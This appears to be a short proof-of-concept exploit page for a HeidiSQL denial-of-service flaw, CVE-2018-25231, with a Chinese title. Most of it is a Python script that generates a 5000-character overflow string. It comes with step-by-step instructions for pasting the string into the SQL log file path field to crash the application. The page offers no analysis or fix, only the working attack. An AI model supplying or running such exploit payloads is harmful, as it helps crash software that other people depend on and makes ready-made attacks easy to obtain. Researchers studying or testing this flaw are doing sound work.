CVE-2018-25231 HeidiSQL 拒绝服务漏洞

# Proof of Concept (PoC) for CVE-2018-25231 # This script generates the malicious payload to crash HeidiSQL via the logging path field. # Usage: Copy the payload and paste it into Preferences > Logging > SQL Log File path. def generate_payload(length=5000): # Generate a long string of 'A' to trigger the buffer overflow return "A" * length if __name__ == "__main__": # Generate a payload of 5000 characters exploit_payload = generate_payload(5000) print(f"Payload generated: {exploit_payload[:50]}... (Length: {len(exploit_payload)})") print("Paste this into the HeidiSQL Logging preference field to trigger the crash.")